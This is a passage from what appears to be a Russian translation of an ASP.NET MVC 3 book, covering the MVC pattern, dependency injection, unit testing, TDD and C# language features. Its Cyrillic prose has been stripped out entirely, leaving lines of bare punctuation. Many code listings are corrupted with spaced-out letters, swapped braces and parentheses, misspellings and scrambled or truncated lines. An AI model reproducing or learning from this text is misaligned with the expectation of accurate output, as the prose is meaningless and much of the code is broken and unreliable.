<div>
Razor, W e b M a i l
, ,
(SSL) .
, W e b M a i l . S e n d
.
68
I. ASP.NET MVC 3
t r y . ..cat ch,
, .
Thanks.
,
MVC.
MVC
MVC,
MVC .
( Razor, )
, .
,
MVC, .
MVC
7 ASP.NET MVC.
ASP.NET MVC,
MVC
. .
MVC.
.
.
.
,
,
ASP.NET #. , .
, MVC,
,
.
MVC
-- (model-view-controller)
70- . . Smalltalk
Xerox PARC,
.
MVC ,
Smalltalk, ,
, -.
MVC
,
, .
HTTP, - .
, MVC
. -
, HTML-
, .
Ruby on Ralls ,
70
I. ASP.NET MVC 3
M VC.
M VC, ,
ASP.NET .
MVC
,
, , , .
, ,
. ,
, ;
,
-, ,
.
,
.
, ,
.
", .
,
, , ,
, ,
,
.
; , ,
, ,
, , .
, .
:
. ,
, .
,
.
. ,
,
, ,
.
. ,
, , ,
, ,
.
, ,
.
.
, ,
,
. .
4. MVC
71
.
C# (, ..), .
,
, ,
, , ,
C# .
,
. .
,
.
, ,
- .
.
,
.
- .
, .
.
ASP.NET MVC #.
,
- .
. ,
7.
ASP.NET- MVC
MVC #,
System .W eb.M vc.Controller. p u b l i c ,
C o n t r o l l e r ,
ASP.NET URL. URL,
, ,
. ,
. 4.1.
. 4.1. MVC
AS P. NET MVC
. MVC
ASP.NET, ASPX-
Web Forms. 3
72
I. ASP.NET MVC 3
Razor, (
5). Visual Studio IntelliSense
, ,
.
ASP.NET M V C
. C#
, , O R M
, .NET. Visual Studio /Models
M V C . ,
Visual Studio.
.
MVC
. M V C
. , ,
, . M V C
, .
M VC.
M VC,
.
, M V C .
,
. ,
M V C .
.
, MVC,
, .
(smart UI).
, ,
. Windows Forms ASP.NET W eb Forms,
.
,
.
, ,
, ..
,
,
.
, . 4.2. ,
-, , -
. ,
, ,
, ,
.
4.
73
. 4.2.
,
. -
,
-
.
.
.
.
,
.
MVC
- , .
, , , MVC
. , ,
; ,
.
, .
.
, ,
.
.
,
.
, MVC.
, ,
.
,
.
-
-, , ,
,
.
-,
74
I. ASP.NET MVC 3
- . ,
, . 4.3.
. 4.3. -
-
.
, .
. :
,
. ,
. (
, , , ), ,
-, .
, -",
, (data
access layer DAL). . 4.4.
. 4.4.
.
-.
, . ,
DAL ,
.
MVC. ,
", Windows Forms ASP.NET
Web Forms,
.
,
.
,
, ,
, , -
4. MVC
75
, -
. :
, , ,
.
MVC
MVC,
, ASP.NET MVC.
-, MVC ,
- ,
.
MVC.
ASP.NET MVC.
, .
--
-- (model-view-presenter MVP)
MVC,
, Windows Forms ASP.NET Web Forms.
, , .
, M V C ,
,
,
.
.
,
.
, .
,
, ,
.
.
,
.
--
-- (model-view-view model
M W M ) MVC. 2005 .
Microsoft, ,
Windows- (Windows Presentation Foundation WPF) Silverlight.
M W M , MVC.
M W M
,
. , #,
, ,
,
. MVC, M W M
76
I. ASP.NET MVC 3
(
). M W M WPF/
Silverlight ,
(
), , .
M W M WPF,
, .
! MVC ,
,
. ,
, .
,
, .
MVC. ,
.
ASP.NET MVC ,
. ,
.NET. .
ASP.NET MVC ,
MVC. .
,
, (
HTML-).
.
,
, .
MVC Framework
.
,
, .
MVC 3,
17 18. ASP.NET- MVC
.
.NET
SQL Server, - (domain-driven development DDD).
4. MVC
77
,
.
-, , ,
.
,
, , . ,
. 4.5,
:
.
!
, . ,
- , ,
NASA
. .
, , .
. 4.5.
Member (),
Bid ( ). Bid Item (),
Item Bid Member.
. ,
, ,
.
, . , ,
,
, .
,
, ,
, .
.
-, ,
.. - , ,
. - ,
78
I. ASP.NET MVC 3
.
. .
.
, ,
.
(resource),
(relationship). ,
, -
-.
-
, .
. ,
.
. DDD ,
.
, ,
,
. ,
" ,
.
. 4.5
,
C# SQL Server. Member ,
B id Item s?
, B id Item
Member, ?
, ?
, ,
? ,
.
DDD
, . . 4.6 ,
.
.
"
. ,
, ,
, ,
-. , ,
.
DDD ,
, (,
).
.
4. MVC
79
. 4 .6 . ,
M e m b e r , I t e m ,
B i d Item,
. B i d M e m b e r (
), M e m b e r
B i d ( ).
,
.
.
,
. 4.1 ,
#.
4.1. C#
p u b lic
c la s s
Mem ber
p u b l i c s t r i n g L o g i n N a m e { get; set; }
p u b l i c int R e p u t a t i o n P o i n t s { get; set; }
//
)
p u b l i c class I t e m (
p u b l i c int i t e m i D { get; p r i v a t e set; }
p u b l i c s t r i n g T i t l e { get; set; )
p u b l i c s t r i n g D e s c r i p t i o n { get; set; }
p u b lic
D a te T im e A u c tio n E n d D a te
get;
set;
//
80
I. ASP.NET MVC 3
,
Bid Member.
. , Bid (
,
, ).
,
#.
,
. (
)
, . , , ,
,
.
, ,
, .
,
SQL Server, ORM.
,
.
.
, .
.
.
, , ,
, , .
.
(
). ,
, , ,
,
. .
, .
: Member, Item (
, Bid ,
Item).
4.2.
4.2. C# M em ber It e m
public class MembersRepository {
public void AddMember(Member member) { /* */ }
public Member FetchByLoginName (string loginName) { /* */ }
public void SubmitChanges () { /* */ }
4.
81
}
,
. .
, ,
. 7
MVC,
Entity Framework .
, MVC
, . ,
, .
. ,
.
.
MyEmailSender, ,
, ,
, IEmailSender.
,
,
P a s s w o r d R e s e t H e l p e r , ,
. . 4.7,
P a sswordResetHelper M y E m a i l S e n d e r .
. 4 .7 .
IEmailSender, -
PasswordResetHelper MyEmailSender. M y E mailSender
.
! .
,
, , , . ,
ASP.NET MVC
.
82
I. ASP.NET 3
, -
C# ,
. ,
. ,
4.3.
4.3.
public class PasswordResetHelper {
public void ResetFassword() {
IEmailSender mySender = new MyEmailSender();
...call interface methods to configure e-mail details. . .
mySender.SendEmail();
}
}
.
P a s s w o r d R e s e t H e l p e r
IEmailSender, ,
, M y E m a i l S e n d e r .
. PasswordResetHelper IEmailSender,
MyEmailSender. . 4.8.
. 4.8. ,
,
.
(dependency injection DI)
(inversion of control IoC).
DI , ,
IEmai l S e n d e r .
DI , , , ,
MVC.
DI .
Pas s w o r d R e s e t H e l p e r .
, 4.4.
4.4. P a s s w o r d R e s e t H e l p e r
public class PasswordResetHelper {
private IEmailSender emailSender;
4. MVC
public PasswordResetHelper(IEmailSender emailSenderParam)
emailSender = emailSenderParam;
83
)
public void ResetPassword() {
... ...
emailSender.SendEmail();
}
}
PasswordResetHelper MyEmailSender.
PasswordResetHelper ,
IEmailSender, , ,
.
PasswordResetHelper .
, IEmailSender,
PasswordResetHelper .
PasswordResetHelper
, , .
! PasswordResetHelper ,
. .
.
,
, .
. ,
.
MVC
DI. AdminController,
MembersRepository
AdminController MembersRepository.
,
IMembersRepository MembersRepository,
, 4.5.
4.5. IM e m b e rs R e p o s ito ry
public interface IMembersRepository {
void AddMember(Member member);
Member FetchByLoginName(string loginName);
void SubmitChanges ();
}
public class MembersRepository : IMembersRepository {
public void AddMember(Member member) { /* */ )
public Member FetchByLoginName(string loginName) ( /* */ }
public void SubmitChanges () ( /* */ }
}
84
I. ASP.NET MVC 3
,
IMembersRepository, 4.6.
4.6. A d m in C o n t r o lle r
public class AdminController : Controller {
IMembersRepository membersRepository;
public AdminController(IMembersRepository repositoryParam)
membersRepository = repositoryParam;
}
public ActionResult ChangeLoginName (string oldLoginParam, string newLoginParam) (
Member member = membersRepository.FetchByLoginName(oldLoginParam);
me m b e r .LoginName = newLoginParam;
membersRepository.SubmitChanges();
// ... -
}
}
& A d m i n C o n t r o l l e r I M e m b e r s
Repository .
, A d m i nController
, , .
, :
.
: ,
?
DI, 1.
,
, , PasswordResetHelper,
, MyEmailSender.
DI ,
, ,
. ,
I E mailSender ,
M y E m a i l S e n d e r , IEmailSender.
, I E m a i l S e n d e r , ,
PasswordResetHelper, DI
,
MyEmailSender.
DI .
.
Ninject,
www.ninject.org. 6.
. Microsoft DI Unity.
Ninject,
MVC. Unity
unity.codeplex.com.
4. MVC
85
DI ,
. DI, Ninject,
.
. ,
(, ),
. ,
M yEmailSender INetworkTransport,
DI ,
MyEmailSender
IEmailSender.
.
,
? DI
,
, (
), ( ),
, HTTP-, .
. ,
INetworkTransport serverName,
DI. , ,
- ,
..
, DI.
C# .NET
.
DI MVC,
, Ninject.
86
I. ASP.NET MVC 3
,
, , - .
,
, .
.
.NET
Visual Studio.
, MVC
^
In t e r n e t A p p lic a t io n [ - } .
#, ,
, .
.
!
, 6.
,
.
4.7 ,
AdminContoller.ChangeLoginName, 4.6.
4.7.
[TestClass]
public class AdrainControllerTest {
[TestMethod]
public void CanChangeLoginName () {
// -
Member bob = new Member () { LoginName = "Bob" };
FakeMembersRepository repositoryParam = new FakeMembersRepository();
repositoryParam.Members.Add(bob);
AdminController target = new AdminController ( r e p o s i t o r y P a r a m ) ;
string oldLoginParam = b o b .LoginName;
string newLoginParam = "Anastasia";
/ / -
target.ChangeLoginName(oldLoginParam, newLoginParam);
// -
Ass e r t .AreEqual(newLoginParam, b o b .LoginName);
Ass e r t .IsT r u e (repositoryParam.DidSubmitChanges);
}
private class FakeMembersRepository : IMembersRepository (
public List<Member> Members = new List<Member>();
public bool DidSubmitChanges = false;
public void AddMember(Member member) {
throw new NotlmplementedException ();
}
public Member FetchByLoginName(string loginName) {
return M embers.First(m => m.LoginName == loginName);
4. MVC
public
v o i d S u b m i t C h a n g e s ()
87
DidSubm itChanges = t ru e ;
}
}
}
C a n C h a n g e L o g i n N a m e .
, T e s t M e t h o d , ,
A d m i n C o n t r o l l e r T e s t T e s t C l a s s . Visual Studio
.
C a n C h a n g e L o g i n N a m e ,
// (arrange/act/assert //).
^ , - ,
, , .
, ,
.
, 4.7,
I M e m b e r s R e p o s i t o r y
, , .
B o b , . M e m b e r
.
, A d m i n C o n t r o l l e r . C h a n g e L o g i n N a m e . . , ,
A s s e r t . . T e s t
() Visual Studio.
, . 4.9.
. 4.9.
-
A s s e r t , Test Results
( ) .
.
! , DI .
. DI,
.
,
, -
. ,
, , ,
.
88
I. ASP.NET MVC 3
.
, FakeMembersRepository,
. 6.
"--"
(test-driven development TDD),
. ,
,
, .
, --
(ged-green-refactor).
.
1. ,
.
2. , . .
3. .
4. , .
5. , .
6. . , ,
..
7. , ,
.
.
, . ,
,
,
. - Item,
4.8.
4.8. - Item
using System;
using System.Collections.Generic;
namespace TheMVCPattern.Models (
public class Item {
p u b l i c int I t e m I D
g et; p r i v a t e set;
//
IList<Bid> Bids
{ get;
set;
p r i v a t e set;
{ get;
}
}
}
4. MVC
89
, A d d B i d , , ,
, . TDD
.
, .
-
.
.
.
, ,
4.9.
4.9.
[ T e s t M e t h o d ()]
public void C a n A d d B i d O {
//
Item t a r g e t = n e w Item();
M e m b e r m e m b e r P a r a m = n e w M e m b e r ();
Decimal a m o u n t P a r a m = 150M;
// -
target.AddBid(memberParam, amountParam);
// -
A s s e r t .A r e E q u a l (1, t a r g e t .B i d s .C o un t ());
A s s e r t . A r e E q u a l ( a m o u n t P a r a m , t a r g e t .B i d s [0].B i d A m o u n t ) ;
}
[ T e s t M e t h o d ()]
[ E x p e c t e d E x c e p t i o n ( t y p e o f ( I n v a l i d O p e r a t i o n E x c e p t i o n ) )]
p u b l i c v o i d C a n n o t A d d L o w e r B i d () (
//
Item t a r g e t = n e w I t e m ( ) ;
M e m b e r m e m b e r P a r a m = n e w M e m b e r ();
D ecimal a m o u n t P a r a m = 150M;
//
t a r g e t .A d d B i d ( m e m b e r P a r a m , a m o u n t P a r a m ) ;
t a r g e t .A d d B i d ( m e m b e r P a r a m , a m o u n t P a r a m - 10);
}
[ T e s t M e t h o d ()]
p u b l i c v o i d C a n A d d H i g h e r B i d () {
//
Item ta r g e t = n e w I t e m O ;
Member f ir s t M e m b e r new Member ( ) ;
M e m b e r s e c o n d M e m b e r = n e w M e m b e r ();
D ecimal a m o u n t P a r a m = 150M;
//
target.AddBid(firstMember, amountParam);
t a r g e t . A d d B i d ( s e c o n d M e m b e r , a m o u n t P a r a m + 10);
/ /
A s s e r t . A r e E q u a l (2, t a r g e t .B i d s .C o u n t ());
A s s e r t . A r e E q u a l ( a m o u n t P a r a m + 10, t a r g e t .B i d s [1].B i d A m o u n t ) ;
}
90
I. ASP.NET MVC 3
,
. "//,
, . C annotAddLowerBid
,
,
ExpectedException.
! , ,
CannotAddLowerBid, AddBid.
, , ,
System.InvalidOperationException.
.
, ,
. 4.10.
. 4.10.
A d d B i d (.
4.10).
4.10. A d d B id
using System;
using System.Collections.Generic;
namespace TheMVCPattern.Models {
public class Item {
public int ItemID { get; private set; } II
public string Title { get; set; }
public string Description { get; set; }
public DateTime AuctionEndDate { get; set; }
public IList<Bid> Bids { get; set; }
public Item() {
Bids = new List<Bid>();
}
public void AddBid(Member memberParam, decimal amountParam)
Bids .Add (new Bid () {
BidAmount = amountParam,
DatePlaced = DateTime.Now,
Member = memberParam
}) ;
}
}
}
4. MVC
91
Item AddBid.
, Item
Bid.
, . 4.11.
. 4 .1 1 .
. ,
CannotAddLowerBid. ,
. , ,
4.11.
4.11. A d d B id
using System;
using System.Collections.Generic;
using System.Linq;
namespace TheMVCPattern.Models {
public class Item {
public int ItemID { get; private set; } //
public string Title { get; set; }
public string Description { get; set; }
public DateTime AuctionEndDate { get; set; }
public IList<Bid> Bids { get; set; }
public Item() {
Bids = new List<Bid>();
}
public void AddBid(Member memberParam, decimal amountParam) {
if (Bids.Count() == 0 | | amountParam > Bids.Max(e => e .BidAmount)) {
Bids.Add(new B i d () {
BidAmount = amountParam,
DatePlaced = DateTime.Now,
Member = memberParam
}) ;
} else {
throw new InvalidOperationException("Bid amount too low");
}
}
}
}
92
I. ASP.NET MVC 3
, ,
, .
In v a l i d O p e r a t i o n E x c e p t i o n ,
.
! LINQ
(Language Integrated Query ). ,
LINQ -, ( =>).
C# 5.
A d d B i d
. . 4.12.
. 4.12.
, ,
. ,
,
, , *
.
,
.
TDD. ,
, ,
,
, .
, . ,
, ,
- .
,
,
.
, , : ,
.
.
, .
- .
, -,
.
4.
93
, ,
. ASP.NET MVC
, ,
, . Microsoft
, ,
,
.
MVC .
.
-
.
-
,
,
.
"
, .NET.
Selenium RC (h t t p : / / s e l e n i u m h q . o r g / ), Java,
Internet Explorer,
Firefox, Safari Opera, .NET, Python, Ruby
, .
Selenium ;
Java.
WatiN (h t t p : / / w a t i n . s o u r c e f o r g e . n e t / ) .NIST,
Internet Explorer Firefox. API , Selenium,
,
(
).
.
,
, , .
,
.
- ,
, JavaScript , ,
.
.
. .
, .
, , .
,
. , ,
, . , -
94
I. ASP.NET MVC 3
, ,
.
.
, ,
, .
ASP.NET MVC Framework ,
, ,
,
MVC. , ,
-,
MVC.
MVC
,
.
. (DI),
,
.
,
DI .
TDD ,
. , ,
.
, ,
,
. #,
M V C .
.
C # L IN Q
C# 2010: ( , 2 0 1 0 .) LINQ:
C# 2010 ( , 2 0 1 1 .).
C # .
, Razor
, M V C 3. Razor
A S P X , M V C
A S P .N E T W e b Forms. Razor
A S P X , - M V C 3,
Razor.
<% %>, , Razor,
, .
C#
#, , ,
.
, ,
Console Application ( ) Visual Studio.
System .Console .
C # ,
. 5.1
Product.
96
I. A S P .N E T M VC 3
5.1.
p u b l i c c l a s s Product {
p r i v a t e s t r i n g name;
p u b l i c s t r i n g Name {
g e t { r e t u r n nam e; }
s e t { name = v a l u e ; }
, N a m e , . g e t (
(getter)) ,
s e t (
v a l u e ) .
, (. 5.2).
5 .2 .
using System;
c l a s s Program {
s t a t i c v o i d M a i n (s t r i n g [ ] a r g s )
// P r o d u c t
Product myProduct = new Product 0 ;
//
m y P r o d u c t . Name = " K a y a k " ;
//
s t r i n g p r o d u c t N a m e = m y P r o d u c t .N a m e ;
C o n s o l e .W r i t e L i n e (" P r o d u c t n a m e : {0}", p r o d u c t N a m e ) ;
}
}
,
. ,
get set , ,
. , ,
,
(get) (set) .
, 5.3.
5 .3 .
p u b l i c c l a s s Product {
p r i v a t e i n t productID;
p r i v a t e s t r i n g name;
private strin g description;
p r i v a t e decimal p r i c e ;
p riva te s trin g category;
p u b l i c i n t ProductID {
g e t { return productID; }
set { productID = valu e; }
5.
97
p u b l i c s t r i n g Name {
g e t { r e t u r n name; }
s e t { name = v a l u e ; }
}
public strin g Description {
g e t { return d e s c r ip t io n ; }
set { description = value; }
}
. . . . . . . .
}
,
.
,
.
(. 5.4).
5.4.
p u b lic c la s s P ro d u c t {
p u b l i c i n t ProductID { g e t ; s e t ; }
p u b l i c s t r i n g Name { g e t ; s e t ; }
public strin g Description { get; set; }
p u b l i c decimal P r i c e { g e t ; s e t ; }
p u blic s t r i n g Category { s e t ; g e t; }
}
. - ,
. - , , .
C# .
. ,
5.2, - . ,
,
, . -
, .
, ,
5.5.
5.5.
p u b l i c c l a s s P r o du c t {
p r iv a te
s t r i n g ;
p u b l i c i n t ProductID { g e t ;
set;
p u b l i c s t r i n g Name {
g e t { r e t u r n P r o d u c t ID + n a m e ;}
s e t { name = v a l u e ; }
}
public strin g Description { get; set; }
p u b l i c decimal P r i c e { g e t ; s e t ; }
pu blic s t r i n g Category { s e t ; g e t; }
}
I. ASP.NET MVC 3
98
! ,
, . C#
.
, 5.6.
5.6.
u s i n g System;
class P r o g r a m {
static v o i d M a i n ( s t r i n g [] args)
// P r od u c t
P r o du c t myProduct = new P r o d u c t ( ) ;
*
//
m y P r o d u c t . P r o d u c t I D = 100;
m y P r o d u c t . Name = " K a y a k " ;
m y P r o d u c t . D e s c r i p t i o n = "A b o a t f o r one p e r s o n " ;
m y P r o d u c t . P r i c e = 275M;
myProduct. C ateg or y = " W a t e r s p o r t s " ;
//
ProcessProduct(myProduct);
}
p r i v a t e s t a t i c v o i d P r o c e s s P r o d u c t ( P r o d u c t prodParam )
/ / . . . -
P r o d u c t P r o c e s s P r o d u c t ,
: , ,
. , ,
, 5.7.
5.7.
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g []
args)
// P r o d u c t
P r o c e s s P r o d u c t (new P r o d u c t {
P r o d u c t I D = 100, Name = " Ka y a k " ,
D e s c r i p t i o n = "A b o a t f o r one p e r s o n " ,
P r i c e = 275M, C a t e g o r y = " W a t e r s p o r t s "
}) ;
}
p r i v a t e s t a t i c v o i d P r o c e s s P r o d u c t ( P r o d u c t prodParam)
/ / ... -
5.
99
, ( { } } ,
P r o d u c t , .
. P r o d u c t ,
P r o c e s s P r o d u c t ..
P r o d u c t
.
, 5.8.
5.8.
using S y s t e m . C o l l e c t i o n s . G en eri c;
c l a s s Program {
s t a t i c v o id M a in (s t r in g [ ] args)
s t r i n g []
stringArray = { "apple",
"orange",
{ 10, 20,
" pl um"
30,
};
40 } ;
int>
};
}
}
5.8
.
C# ,
.
,
, , .
5.9 S h o p p i ng C a r t ,
P r o d u c t s.
5.9. S h o p p in g C a rt
using S y s t e m . C o l l e c t i o n s . Ge n er ic ;
p u b l i c c l a s s S h o pp i n g C a r t {
p u b l i c L i s t < P r o d u c t > P r o du c t s { g e t ;
set;
S h o p p i n g C a r t ,
L i s t P r o d u c t ( ).
,
P r o d u c t S h o p p i n g C a r t , ,
, - ,
. ,
, 5.10.
100
I. ASP.NET MVC 3
5 .1 0 .
! ,
, .
, ,
.
5.11.
u s i n g System;
using S y s t e m . C o l l e c t i o n s . Ge n eri c;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s ) {
// S ho ppi n g C ar t
S h o pp i n g C a r t c a r t = new S ho ppi ngCar t {
P r o d u c t s = new L i s t < P r o d u c t > {
new P r o du c t {Name = " Ka y a k " , P r i c e = 275M},
new P r o d u c t {Name = " L i f e j a c k e t " , P r i c e = 48. 95M} ,
new P r o d u c t {Name = " S o c c e r b a l l " , P r i c e = 19. 50M} ,
new P r od u c t {Name = " C o r n e r f l a g " , P r i c e = 34.95M}
}
};
//
de c i m a l c a r t T o t a l = c a r t .T o t a l P r i c e s ();
cartTotal);
}
}
S h o p p i n g C a r t P r o du c t ,
. ,
, . , ,
5.
101
S h o p p i n g C a r t . ,
, . .NET
,
.. ,
u s i n g . , 5.11,
:
Total:
$378.40
, ,
, .
5.12 S h o p p i n g C a r t ,
I E n u m e r a bl e < P r o d u c t > .
5.12. S h o p p in g C a rt
using S y s t e m . C o l l e c t i o n s ;
using S y s t e m . C o l l e c t i o n s . Gen eri c;
*
p u b l i c c l a s s S h o p p i n g C a r t : I E nu me r a bl e< Pr od u c t > {
p u b l i c L i s t < P r o d u c t > P r o du c t s { g e t ;
set;
p u b l i c I E n u me r a t o r < P r o d u c t > G et En um e r at o r ()
r e tu r n P r o d u c t s . GetEnumerator( ) ;
}
I Enume ra t or I E n u m e r a b l e . G e t E n u m e r a t o r ()
r e tu r n GetEnumerator( ) ;
I
}
,
I E n u m e r a b l e < P r o d u c t > (. 5.13).
5.13. ,
using S y s t e m . C o l l e c t i o n s . Generic;
p u b l i c s t a t i c c l a s s My Ext ensi onMet hods {
p u b l i c s t a t i c d e c i m a l T o t a l P r i c e s ( t h i s IEnumerable<Product> productEnum)
d e c i m a l t o t a l = 0;
f o r e a c h ( P r o d u c t p r o d i n productEnum) {
t o t a l += p r o d . P r i c e ;
}
return t o t a l ;
}
}
IE n u m e r a b le < P r o d u c t> , ,
f o r e a c h .
. ,
P r o d u c t s ,
IE n u m e r a b le < P r o d u c t > ,
S h o p p in g C a r t, P r o d u c t s (. 5.14).
1 02
I. ASP.NET MVC 3
5.14.
u si n g System;
u si n g S y s t e m . C o l l e c t i o n s . G e n e r i c ;
c l a s s Program {
s t a t i c v o id M a in (s t r in g [ ] args) {
// S ho ppi n g C ar t
I E n u me r a b l e< P r o d u c t > p r o d u c t s = new S ho ppi n g C a r t {
P r o d u c t s = new L i s t < P r o d u c t > {
new P r o d u c t {Name = " Ka y a k , P r i c e = 275M},
new P r o d u c t {Name = " L i f e j a c k e t " , P r i c e = 48. 95M} ,
new P r o du c t {Name = " S o c c e r b a l l " , P r i c e = 19. 50M} ,
new P r o du c t {Name = " Co r n e r f l a g " , P r i c e = 34.95M}
}
};
// P r o d u c t
P r od u c t [ ] p r o d u c t A r r a y = {
new P r o d u c t {Name = " Ka ya k " , P r i c e = 275M},
new P r o d u c t {Name = " L i f e j a c k e t " , P r i c e = 48. 95M} ,
new P r o d u c t {Name = " S o c c e r b a l l " , P r i c e = 19. 50M} ,
new P r o d u c t {Name = " C o r n e r f l a g " , P r i c e = 34.95M}
};
//
decimal c a r t T o t a l = p r o d u c t s . T o t a l P r i c e s ( ) ;
d e c i m a l a r r a y T o t a l = p r o d u c t s . T o t a l P r i c e s () ;
C onsole.W riteLine("C art T o t a l: { 0 : c } " , c a r tT o ta l);
C on s ole .W rite L in e ( "Array T o t a l : { 0 : c } " , a rr a y T o ta l);
}
}
! I E n u m e r a b l e < T > C#
. MSDN.
, ,
#, . , .
,
#. , .
, 5.14,
, ,
, P r o d u c t :
Cart T o t a l :
Array T o t a l :
$378.40
$378.40
,
. ,
I E nu me r a bl e< T >
I E nu me r a bl e < T> , y i e l d ,
. 5.15.
5.
103
5.15.
public
static
this
foreach
if
IEnum erable<Product>
prod
(p r o d .C a t e g o r y
yield
return
in
F ilterByCategory(
productEnum,
productEnum)
==
string
categoryParam )
categoryParam)
prod;
}
}
F ilterB y C atego ry
. P r o d u c t ,
C a t e g o r y ,
I E n u m e r a b l e < P r o d u c t > , , .
5.16.
5.16.
using
System ;
using
S y s t e m .C o lle c t io n s . G en eric;
class
Program
static
/ /
void
{
M a i n ( s t r i n g []
args)
new
Product
new P r o d u c t
products
List<Product>
{Name
{Name =
ShoppingCart
"K ay ak",
new
ShoppingCart
{
Category
"Lifejacket",
Category =
new
Product
{Name
"So ccer
b all",
Category
new
Product
{Nam e
"C orn er
fla g ",
Category
"S o c c er",
So ccer",
Price
Price
Price
Price
275M },
= 4 8 .9 5 M },
=
=
1 9 .5 0 M },
3 4 .9 5 M }
};
foreach
(Product
prod
in
products.
C o n s o le .W r i t e L i n e ("N a m e:
{0},
F i l t e r ByCategory("Soccer" ) )
Price
{ l :c }",
p r o d .N a m e ,
p r o d .P r ic e );
}
}
F i l t e r B y C a t e g o r y S h o p p i n g C a r t
P r o d u c t , S o c c e r .
:
Name:
Soccer
ball,
Price
$ 1 9 .5 0
Name:
Corner
flag,
Price
$ 3 4 .9 5
, ,
. , P r o d u c t ,
S o c c e r , T o t a l P r i c e s ,
P r i c e , 5.17.
5.17.
decim al
total
to tal:
{0:c}",
total);
104
I. ASP.NET MVC 3
:
F i l t e r e d t o t a l : $54.45
-
F i l t e r B y C a t e g o r y ,
. ,
P r o d u c t , (.
5.18).
5.18.
p u b l i c s t a t i c I E n u me r a bl e < P r o d u c t > F i l t e r (
t h i s I E n u me r a b l e< P r o d u c t > productEnum,
F u n c < P r o d u c t , b ool> selectorParam)
f o r e a c h ( P r o d u c t p r o d i n productEnum)
i f (selectorParam (prod)) {
y i e l d r e tu r n prod;
}
}
}
Fun ,
. P r o d u c t
b o o l , t r u e , P r o d u c t
.
5.19.
5.19. Func
u s i n g System;
using S y s t e m .C o ll e c t io n s .Generic;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s )
// S ho ppi ngCar t
I E n u me r a b l e < P r od u c t > p r o d u c t s = new S ho ppi n gCar t {
P r o d u c t s = new L i s t < P r o d u c t > {
new P r o d u c t {Name = " Ka ya k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M},
new Pr oduct {Name = " L i f e j a c k e t " , Ca t eg o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r o d u c t {Name = " S o c c e r b a l l " , C a t e g o r y = " S o c c e r " , P r i c e = 19. 50M} ,
new P r o d u ct {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};
F u n c < P r o d u c t , b o o l > c a t e g o r y F i l t e r = d e l e g a t e ( P r o d u c t prod)
r e t u r n p r o d .C a t e g o r y = = "Soccer";
};
I E n u m e r a b l e < P r o d u c t > f i l t e r e d P r o d u c t s = p r o d u c t s .F i l t e r ( c a t e g o r y F i l t e r ) ;
fo r e a c h (Product prod in f i l t e r e d P r o d u c t s ) {
Console.WriteLine("Nam e: { 0} , P rice: { l : c } " ,
}
}
}
prod. Name, p r o d . P r i c e ) ;
5.
105
, Produ ct
, , Fun
, .
-,
.
, 5 .2 0 .
5.20. -
F u n c < P r od u c t , b o o l > c a t e g o r y F i l t e r = prod => prod.Category == "Soccer";
I E nu me r a b l e< P r o d u c t > f i l t e r e d P r o d u c t s = p r o d u c t s . F i l t e r ( c a t e g o r y F i l t e r ) ;
- .
, . =>
- .
Pr od u ct , prod, b o o l , ,
C a t e g o r y prod Soccer.
,
Func, 5 .2 1 .
5.21. - Func
I E nu me r a b l e< P r o d u c t > f i l t e r e d P r o d u c t s =
p r o d u c t s . F i l t e r ( pr o d => p r o d. C a t e g o r y == " S o c c e r " ) ;
-
F i l t e r .
, . ,
- ( . 5 .2 2 ).
5.22. , -
I En u me r a b l e < P r od u c t > f i l t e r e d P r o d u c t s = p r o d u c t s . F i l t e r ( p r o d =>
p r o d . C a t e g o r y == " S o c c e r " || p r o d . P r i c e > 2 0 ) ;
-
-.
, :
prod => E v a l u a t e P r o d u c t ( p r o d )
- ,
, , :
(prod, count) => p r o d . P r i c e > 20 && count > 0
, , - ,
, , ({})
r e t u r n , :
(prod, count) => {
//. . .
return r e s u l t ;
}
- ,
, . , .
106
I. ASP.NET MVC 3
v a r C#
, 5.23.
.
5.23.
var m y V a r i a b l e =
new Pr o d u c t { N a m e = "Kayak",
C a t e g o r y = "Watersports",
//
//
Price = 275 M };
, m y V a r i a b l e .
, . ,
Product.
,
. 5.24.
5.24.
var m y A n o n T y p e = new {
Name = "MVC",
C a t e g o r y = "Pattern"
};
C o n s o l e . W r i t e L i n e ( " N a m e : {0}, Type:
{1}", myAnonType.Name, m y A n o n T y p e .C a t e g o r y ) ;
m y A n o n T y p e . ,
,
JavaScript.
. - . ,
, .
C#
. ,
,
. ,
, 5.25.
5.25.
var o d d s A n d E n d s
new { N ame =
new { N ame =
new { N a m e =
= n e w [] {
"MVC", C a t e g o r y = "Pattern"},
"Hat", C a t e g o r y = "Clothing"},
"Apple", C a t e g o r y = "Fruit"}
};
foreach (var i t e m in oddsAndEnds) {
C o n s o l e .W r i t e L i n e ("Name : {0}", item.Name);
5.
1 07
,
v a r . , ,
,
. , ,
Name . ,
. ,
, ,
.
LINQ
LINQ. LINQ .
.NET. LINQ, . LINQ
S Q L - . ,
P r o d u c t
. LINQ, ,
5.26.
5.26. LINQ
u s i n g System;
using S y s t e m . C o l l e c t i o n s . G en eri c;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s )
P r o d u c t [] p r o d u c t s = {
new P r o du c t {Name = " K a y a k " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 275M),
new Pr oduct {Name = " L i f e j a c k e t " , C a t e g o r y = " W a t e r s p o r t s " , P r i c e = 48.95M},
new P r o d u ct {Name = " S o c c e r b a l l " , C a t e g o r y = " S o c c e r " , P r i c e = 19. 50M} ,
new P r o du c t {Name = " C o r n e r f l a g " , C a t e g o r y = " S o c c e r " , P r i c e = 34.95M}
};
//
P r o d u c t [] r e s u l t s = new P r o d u c t [ 3 ] ;
//
A r r a y . S o r t ( p r o d u c t s , ( i t e m l , i t em2 ) => {
re tu r n Comparer<decimal>. D e f a u l t . C o m p a r e (i t e m l . P r i c e ,
});
item2. P r i c e ) ;
//
A r r a y . C o p y ( p r o d u c t s , r e s u l t s , 3) ;
//
foreach (Product in r e s u l t s ) {
C o n s o l e .W r it e L in e ( "Item: { 0} , Cost:
}
{1}",
p.Name, p . P r i c e ) ;
}
}
LIN Q ,
5.27.
108
I. ASP.NET MVC 3
5.27. LINQ
u s i n g System;
using System .Linq;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s ) {
